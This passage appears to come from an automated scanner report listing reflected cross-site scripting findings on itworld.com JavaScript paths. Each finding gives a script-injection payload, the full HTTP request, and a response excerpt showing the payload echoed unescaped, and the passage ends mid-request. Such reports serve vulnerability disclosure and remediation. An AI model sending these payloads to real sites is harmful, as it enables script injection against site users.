<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
MS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/misc/collapse.js98271"-alert(1)-"f1cfa216a3f";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.110. http://www.itworld.com/misc/drupal.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/misc/drupal.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2a0e5"-alert(1)-"3ff1e116ef7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /misc2a0e5"-alert(1)-"3ff1e116ef7/drupal.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:18:06 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316459886"
Content-Type: text/html; charset=utf-8
Content-Length: 57062
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:18:08 GMT
X-Varnish: 398317385
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=39a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...

s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/misc2a0e5"-alert(1)-"3ff1e116ef7/drupal.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar
...[SNIP]...

1.111. http://www.itworld.com/misc/drupal.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/misc/drupal.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7939"><script>alert(1)</script>8c5ec2b0969 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /misce7939"><script>alert(1)</script>8c5ec2b0969/drupal.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:17:58 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316459878"
Content-Type: text/html; charset=utf-8
Content-Length: 57314
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:17:59 GMT
X-Varnish: 398317009
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=39a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/misce7939"><script>alert(1)</script>8c5ec2b0969/drupal.js?h"/>
...[SNIP]...

1.112. http://www.itworld.com/misc/drupal.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/misc/drupal.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8904"><script>alert(1)</script>2c73712fcd7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /misc/drupal.jsd8904"><script>alert(1)</script>2c73712fcd7?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:18:52 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316459932"
Content-Type: text/html; charset=utf-8
Content-Length: 57310
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:18:55 GMT
X-Varnish: 1959720432
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/misc/drupal.jsd8904"><script>alert(1)</script>2c73712fcd7?h"/>
...[SNIP]...

1.113. http://www.itworld.com/misc/drupal.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/misc/drupal.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d854d"-alert(1)-"e377c0232e0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /misc/drupal.jsd854d"-alert(1)-"e377c0232e0?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:19:51 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316459991"
Content-Type: text/html; charset=utf-8
Content-Length: 57089
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:19:54 GMT
X-Varnish: 1959722147
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
"CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/misc/drupal.jsd854d"-alert(1)-"e377c0232e0";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.114. http://www.itworld.com/misc/textarea.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/misc/textarea.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a76a"><script>alert(1)</script>2ff991c1d2a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /misc9a76a"><script>alert(1)</script>2ff991c1d2a/textarea.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:19:29 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316459969"
Content-Type: text/html; charset=utf-8
Content-Length: 57329
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:19:45 GMT
X-Varnish: 1959721373
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/misc9a76a"><script>alert(1)</script>2ff991c1d2a/textarea.js?h"/>
...[SNIP]...

1.115. http://www.itworld.com/misc/textarea.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/misc/textarea.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8840a"-alert(1)-"5fcf5a7dc49 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /misc8840a"-alert(1)-"5fcf5a7dc49/textarea.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:02 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460002"
Content-Type: text/html; charset=utf-8
Content-Length: 57110
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:05 GMT
X-Varnish: 1959722521
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...

s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/misc8840a"-alert(1)-"5fcf5a7dc49/textarea.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eV
...[SNIP]...

1.116. http://www.itworld.com/sites/all/modules/contrib/InsertNode/back_from_comment.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/InsertNode/back_from_comment.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8c598"-alert(1)-"3926cf3f7e1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites8c598"-alert(1)-"3926cf3f7e1/all/modules/contrib/InsertNode/back_from_comment.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:11 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460011"
Content-Type: text/html; charset=utf-8
Content-Length: 57536
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:19 GMT
X-Varnish: 1959722744
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites8c598"-alert(1)-"3926cf3f7e1/all/modules/contrib/InsertNode/back_from_comment.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We coul
...[SNIP]...

1.117. http://www.itworld.com/sites/all/modules/contrib/InsertNode/back_from_comment.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/InsertNode/back_from_comment.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a26c2"><script>alert(1)</script>820884521c8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sitesa26c2"><script>alert(1)</script>820884521c8/all/modules/contrib/InsertNode/back_from_comment.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:19:56 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316459996"
Content-Type: text/html; charset=utf-8
Content-Length: 57756
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:19:59 GMT
X-Varnish: 1959722383
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sitesa26c2"><script>alert(1)</script>820884521c8/all/modules/contrib/InsertNode/back_from_comment.js?h"/>
...[SNIP]...

1.118. http://www.itworld.com/sites/all/modules/contrib/InsertNode/back_from_comment.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/InsertNode/back_from_comment.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a066"><script>alert(1)</script>6a8db849017 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all6a066"><script>alert(1)</script>6a8db849017/modules/contrib/InsertNode/back_from_comment.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:47 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460047"
Content-Type: text/html; charset=utf-8
Content-Length: 57756
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:52 GMT
X-Varnish: 1959723896
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all6a066"><script>alert(1)</script>6a8db849017/modules/contrib/InsertNode/back_from_comment.js?h"/>
...[SNIP]...

1.119. http://www.itworld.com/sites/all/modules/contrib/InsertNode/back_from_comment.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/InsertNode/back_from_comment.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5b285"-alert(1)-"0e83f4850e1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all5b285"-alert(1)-"0e83f4850e1/modules/contrib/InsertNode/back_from_comment.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:21:21 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460081"
Content-Type: text/html; charset=utf-8
Content-Length: 57536
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:21:23 GMT
X-Varnish: 1959725087
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all5b285"-alert(1)-"0e83f4850e1/modules/contrib/InsertNode/back_from_comment.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't
...[SNIP]...

1.120. http://www.itworld.com/sites/all/modules/contrib/InsertNode/back_from_comment.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/InsertNode/back_from_comment.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e3dfc"-alert(1)-"f63c8822a12 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/InsertNodee3dfc"-alert(1)-"f63c8822a12/back_from_comment.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:05 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460185"
Content-Type: text/html; charset=utf-8
Content-Length: 57541
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:08 GMT
X-Varnish: 252446890
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
ch";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/InsertNodee3dfc"-alert(1)-"f63c8822a12/back_from_comment.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requeste
...[SNIP]...

1.121. http://www.itworld.com/sites/all/modules/contrib/InsertNode/back_from_comment.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/InsertNode/back_from_comment.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d8ce"><script>alert(1)</script>2182724e842 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/InsertNode5d8ce"><script>alert(1)</script>2182724e842/back_from_comment.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:26 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460146"
Content-Type: text/html; charset=utf-8
Content-Length: 57755
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:48 GMT
X-Varnish: 252446282
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/InsertNode5d8ce"><script>alert(1)</script>2182724e842/back_from_comment.js?h"/>
...[SNIP]...

1.122. http://www.itworld.com/sites/all/modules/contrib/ajax_poll/ajax_poll.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ajax_poll/ajax_poll.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 808c6"-alert(1)-"df287d62db8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites808c6"-alert(1)-"df287d62db8/all/modules/contrib/ajax_poll/ajax_poll.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
